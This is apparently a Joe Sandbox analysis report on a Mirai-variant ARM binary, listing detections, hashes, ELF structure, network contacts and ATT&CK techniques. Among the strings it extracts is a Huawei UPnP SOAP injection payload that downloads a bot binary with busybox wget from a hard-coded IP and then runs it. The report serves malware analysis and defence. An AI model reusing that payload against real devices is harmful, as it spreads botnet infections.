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Linux Analysis Report
Hilix.arm5.elf

Overview

General Information

Sample name:	Hilix.arm5.elf
Analysis ID:	1583256
MD5:	32a40dbe7661e62f2ab74f153cca63b8
SHA1:	a5a8e956193c3467806d6639bf6740c2e459c355
SHA256:	c1a61434ed506edcb78c78ef6deeb10b3bb9626532e5b0e1fd095718f014c0c8
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583256
Start date and time:	2025-01-02 09:47:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Hilix.arm5.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0
Cookbook Comments:	Analysis time extended to 480s due to sleep detection in submitted sample

Runtime Messages

Command:	/tmp/Hilix.arm5.elf
PID:	6229
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	/lib/ld-uClibc.so.0: No such file or directory

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6219, Parent: 4331)

rm (PID: 6219, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.PoZR2FHJvi /tmp/tmp.OA5iBSFh0i /tmp/tmp.itXbE0PTcn

dash New Fork (PID: 6220, Parent: 4331)

rm (PID: 6220, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.PoZR2FHJvi /tmp/tmp.OA5iBSFh0i /tmp/tmp.itXbE0PTcn

Hilix.arm5.elf (PID: 6229, Parent: 6153, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/Hilix.arm5.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Hilix.arm5.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6229.1.00007f667c017000.00007f667c024000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 159.203.44.33 -l /tmp/binary -r /bins/Hilix.mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6219)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.PoZR2FHJvi /tmp/tmp.OA5iBSFh0i /tmp/tmp.itXbE0PTcn			Jump to behavior
Source: /usr/bin/dash (PID: 6220)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.PoZR2FHJvi /tmp/tmp.OA5iBSFh0i /tmp/tmp.itXbE0PTcn			Jump to behavior

Source: /tmp/Hilix.arm5.elf (PID: 6229)

Queries kernel information via 'uname':

Jump to behavior

Source: Hilix.arm5.elf, 6229.1.0000559950af9000.0000559950c27000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: Hilix.arm5.elf, 6229.1.00007ffd7a0d8000.00007ffd7a0f9000.rw-.sdmp	Binary or memory string: >x86_64/usr/bin/qemu-arm/tmp/Hilix.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Hilix.arm5.elf
Source: Hilix.arm5.elf, 6229.1.00007ffd7a0d8000.00007ffd7a0f9000.rw-.sdmp	Binary or memory string: qemu: %s: %s
Source: Hilix.arm5.elf, 6229.1.00007ffd7a0d8000.00007ffd7a0f9000.rw-.sdmp	Binary or memory string: leqemu: %s: %s
Source: Hilix.arm5.elf, 6229.1.0000559950af9000.0000559950c27000.rw-.sdmp	Binary or memory string: Urg.qemu.gdb.arm.sys.regs">
Source: Hilix.arm5.elf, 6229.1.0000559950af9000.0000559950c27000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: Hilix.arm5.elf, 6229.1.00007ffd7a0d8000.00007ffd7a0f9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: Hilix.arm5.elf, 6229.1.0000559950af9000.0000559950c27000.rw-.sdmp	Binary or memory string: rg.qemu.gdb.arm.sys.regs">

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: Hilix.arm5.elf, type: SAMPLE
Source: Yara match	File source: 6229.1.00007f667c017000.00007f667c024000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: Hilix.arm5.elf, type: SAMPLE
Source: Yara match	File source: 6229.1.00007f667c017000.00007f667c024000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Hilix.arm5.elf	71%	ReversingLabs	Linux.Trojan.Mirai
Hilix.arm5.elf	61%	Virustotal		Browse
Hilix.arm5.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.oc

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding/	Hilix.arm5.elf	false	high
http://159.203.44.33/bins/Hilix.mips	Hilix.arm5.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	Hilix.arm5.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	i586.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	socat.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	wrjkngh4.elf	Get hash	malicious	Mirai	Browse
	woega6.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
	m68k.elf	Get hash	malicious	Mirai	Browse
	bot.m68k.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	bot.arm.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
91.189.91.42	i586.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	socat.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	ngwa5.elf	Get hash	malicious	Mirai	Browse
	wrjkngh4.elf	Get hash	malicious	Mirai	Browse
	woega6.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
	arm6.elf	Get hash	malicious	Mirai	Browse
	m68k.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	powerpc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	i586.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	x86_64.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	socat.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	ngwa5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	wrjkngh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	gnjqwpc.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	woega6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
CANONICAL-ASGB	powerpc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	i586.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	x86_64.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	socat.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	ngwa5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	wrjkngh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	gnjqwpc.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	woega6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
INIT7CH	i586.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	x86_64.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	socat.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	ngwa5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	wrjkngh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	woega6.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm6.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Entropy (8bit):	6.18678841089566
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Hilix.arm5.elf
File size:	52'500 bytes
MD5:	32a40dbe7661e62f2ab74f153cca63b8
SHA1:	a5a8e956193c3467806d6639bf6740c2e459c355
SHA256:	c1a61434ed506edcb78c78ef6deeb10b3bb9626532e5b0e1fd095718f014c0c8
SHA512:	526068fda19a125d6bd90129d88b7a616611373975d9e5d700aafc9e6db466aa38b5e2509585b8217885ea7d600ce383c6a3230704e5fe7ced124e7f1f041f18
SSDEEP:	1536:knO8/B7Mu4aFCy5hXdJGV+r3S5iQ0PySt54gCRUz:knpZ3rtJG4riglqSt54c
TLSH:	54332A92B8D29A26C6D023BAFE6E518D332163E8D1DF3217DD141B193ACA51F0EB7741
File Content Preview:	.ELF...a..........(.........4...D.......4. ...(.........4...4...4...................................................................(...(...............,...,...,.......................@...@...@...................Q.td............................/lib/ld-uCl

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8eb8
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	6
Section Header Offset:	51780
Section Header Size:	40
Number of Section Headers:	18
Header String Table Index:	17

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.interp	PROGBITS	0x80f4	0xf4	0x14	0x0	0x2	A	0	0	1
.hash	HASH	0x8108	0x108	0x228	0x4	0x2	A	3	0	4
.dynsym	DYNSYM	0x8330	0x330	0x450	0x10	0x2	A	4	1	4
.dynstr	STRTAB	0x8780	0x780	0x230	0x0	0x2	A	0	0	1
.rel.plt	REL	0x89b0	0x9b0	0x198	0x8	0x2	A	3	7	4
.init	PROGBITS	0x8b48	0xb48	0x18	0x0	0x6	AX	0	0	4
.plt	PROGBITS	0x8b60	0xb60	0x278	0x4	0x6	AX	0	0	4
.text	PROGBITS	0x8dd8	0xdd8	0xac28	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0x13a00	0xba00	0x14	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x13a14	0xba14	0xe14	0x0	0x2	A	0	0	4
.ctors	PROGBITS	0x1c82c	0xc82c	0x8	0x0	0x3	WA	0	0	4
.dtors	PROGBITS	0x1c834	0xc834	0x8	0x0	0x3	WA	0	0	4
.dynamic	DYNAMIC	0x1c840	0xc840	0x98	0x8	0x3	WA	4	0	4
.got	PROGBITS	0x1c8d8	0xc8d8	0xd8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x1c9b0	0xc9b0	0x20	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x1c9d0	0xc9d0	0x204	0x0	0x3	WA	0	0	4
.shstrtab	STRTAB	0x0	0xc9d0	0x73	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
PHDR	0x34	0x8034	0x8034	0xc0	0xc0	2.2713	0x5	R E	0x4
INTERP	0xf4	0x80f4	0x80f4	0x14	0x14	3.6842	0x4	R	0x1	/lib/ld-uClibc.so.0	.interp
LOAD	0x0	0x8000	0x8000	0xc828	0xc828	6.2244	0x5	R E	0x8000		.interp .hash .dynsym .dynstr .rel.plt .init .plt .text .fini .rodata
LOAD	0xc82c	0x1c82c	0x1c82c	0x1a4	0x3a8	2.2533	0x6	RW	0x8000		.ctors .dtors .dynamic .got .data .bss
DYNAMIC	0xc840	0x1c840	0x1c840	0x98	0x98	1.8569	0x6	RW	0x4		.dynamic
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Dynamic Tags

Type	Meta	Value	Tag
DT_NEEDED	sharedlib	libc.so.0	0x1
DT_INIT	value	0x8b48	0xc
DT_FINI	value	0x13a00	0xd
DT_HASH	value	0x8108	0x4
DT_STRTAB	value	0x8780	0x5
DT_SYMTAB	value	0x8330	0x6
DT_STRSZ	bytes	560	0xa
DT_SYMENT	bytes	16	0xb
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x1c8d8	0x3
DT_PLTRELSZ	bytes	408	0x2
DT_PLTREL	pltrel	DT_REL	0x14
DT_JMPREL	value	0x89b0	0x17
DT_NULL	value	0x0	0x0

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__aeabi_idiv0	.dynsym	0x139c0	4	FUNC	<unknown>	DEFAULT	8
__aeabi_ldiv0	.dynsym	0x139c0	4	FUNC	<unknown>	DEFAULT	8
__aeabi_uidiv	.dynsym	0x13700	0	FUNC	<unknown>	DEFAULT	8
__aeabi_uidivmod	.dynsym	0x137f8	24	FUNC	<unknown>	DEFAULT	8
__bss_end__	.dynsym	0x1cbd4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.dynsym	0x1c9d0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.dynsym	0x1c9d0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__data_start	.dynsym	0x1c9b0	0	NOTYPE	<unknown>	DEFAULT	17
__div0	.dynsym	0x139c0	4	FUNC	<unknown>	DEFAULT	8
__end__	.dynsym	0x1cbd4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__errno_location	.dynsym	0x8d48	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__modsi3	.dynsym	0x138dc	228	FUNC	<unknown>	DEFAULT	8
__uClibc_main	.dynsym	0x8d00	488	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__udivsi3	.dynsym	0x13700	248	FUNC	<unknown>	DEFAULT	8
__umodsi3	.dynsym	0x13810	204	FUNC	<unknown>	DEFAULT	8
_bss_end__	.dynsym	0x1cbd4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_edata	.dynsym	0x1c9d0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.dynsym	0x1cbd4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_start	.dynsym	0x8eb8	80	FUNC	<unknown>	DEFAULT	8
abort	.dynsym	0x8c4c	352	FUNC	<unknown>	DEFAULT	SHN_UNDEF
atoi	.dynsym	0x8d60	12	FUNC	<unknown>	DEFAULT	SHN_UNDEF
bind	.dynsym	0x8c7c	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
calloc	.dynsym	0x8c58	88	FUNC	<unknown>	DEFAULT	SHN_UNDEF
clock	.dynsym	0x8d78	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
close	.dynsym	0x8da8	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
closedir	.dynsym	0x8d90	196	FUNC	<unknown>	DEFAULT	SHN_UNDEF
connect	.dynsym	0x8b98	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
exit	.dynsym	0x8d54	172	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fcntl	.dynsym	0x8d9c	116	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fork	.dynsym	0x8cf4	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free	.dynsym	0x8db4	288	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	.dynsym	0x8bbc	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getppid	.dynsym	0x8d18	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockname	.dynsym	0x8dcc	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockopt	.dynsym	0x8d3c	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inet_addr	.dynsym	0x8c88	36	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ioctl	.dynsym	0x8b80	80	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill	.dynsym	0x8c70	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
listen	.dynsym	0x8ce8	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
malloc	.dynsym	0x8bec	400	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memcpy	.dynsym	0x8bd4	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memmove	.dynsym	0x8bb0	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memset	.dynsym	0x8d0c	156	FUNC	<unknown>	DEFAULT	SHN_UNDEF
open	.dynsym	0x8d6c	92	FUNC	<unknown>	DEFAULT	SHN_UNDEF
opendir	.dynsym	0x8d30	264	FUNC	<unknown>	DEFAULT	SHN_UNDEF
prctl	.dynsym	0x8bc8	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand	.dynsym	0x8ca0	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
read	.dynsym	0x8cb8	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readdir	.dynsym	0x8c28	224	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readlink	.dynsym	0x8be0	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
realloc	.dynsym	0x8cdc	312	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recv	.dynsym	0x8b8c	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recvfrom	.dynsym	0x8c04	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
select	.dynsym	0x8c1c	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
send	.dynsym	0x8c40	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sendto	.dynsym	0x8cd0	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsid	.dynsym	0x8d84	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsockopt	.dynsym	0x8c94	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigaddset	.dynsym	0x8c34	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigemptyset	.dynsym	0x8ba4	24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
signal	.dynsym	0x8cac	200	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigprocmask	.dynsym	0x8dc0	84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sleep	.dynsym	0x8bf8	420	FUNC	<unknown>	DEFAULT	SHN_UNDEF
socket	.dynsym	0x8c10	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcpy	.dynsym	0x8b74	28	FUNC	<unknown>	DEFAULT	SHN_UNDEF
time	.dynsym	0x8d24	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
unlink	.dynsym	0x8cc4	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
write	.dynsym	0x8c64	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 09:47:52.332195997 CET	43928	443	192.168.2.23	91.189.91.42
Jan 2, 2025 09:47:57.707606077 CET	42836	443	192.168.2.23	91.189.91.43
Jan 2, 2025 09:47:59.243423939 CET	42516	80	192.168.2.23	109.202.202.202
Jan 2, 2025 09:48:12.809478045 CET	43928	443	192.168.2.23	91.189.91.42
Jan 2, 2025 09:48:25.095668077 CET	42836	443	192.168.2.23	91.189.91.43
Jan 2, 2025 09:48:29.191225052 CET	42516	80	192.168.2.23	109.202.202.202
Jan 2, 2025 09:48:53.764086008 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: dash PID: 6219, Parent PID: 4331

General

Start time (UTC):	08:47:42
Start date (UTC):	02/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	08:47:42
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.PoZR2FHJvi /tmp/tmp.OA5iBSFh0i /tmp/tmp.itXbE0PTcn
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	08:47:42
Start date (UTC):	02/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	08:47:42
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.PoZR2FHJvi /tmp/tmp.OA5iBSFh0i /tmp/tmp.itXbE0PTcn
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	08:47:49
Start date (UTC):	02/01/2025
Path:	/tmp/Hilix.arm5.elf
Arguments:	/tmp/Hilix.arm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: Hilix.arm5.elf	ReversingLabs: Detection: 71%
Source: Hilix.arm5.elf	Virustotal: Detection: 61%			Perma Link

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: Hilix.arm5.elf	String found in binary or memory: http://159.203.44.33/bins/Hilix.mips
Source: Hilix.arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Hilix.arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Hilix.arm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Dynamic Tags

Symbols

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: dash PID: 6219, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6219, Parent PID: 4331

General

Chronological Activities

Analysis Process: dash PID: 6220, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6220, Parent PID: 4331

General

Chronological Activities

Analysis Process: Hilix.arm5.elf PID: 6229, Parent PID: 6153

General

Chronological Activities

Linux Analysis Report
Hilix.arm5.elf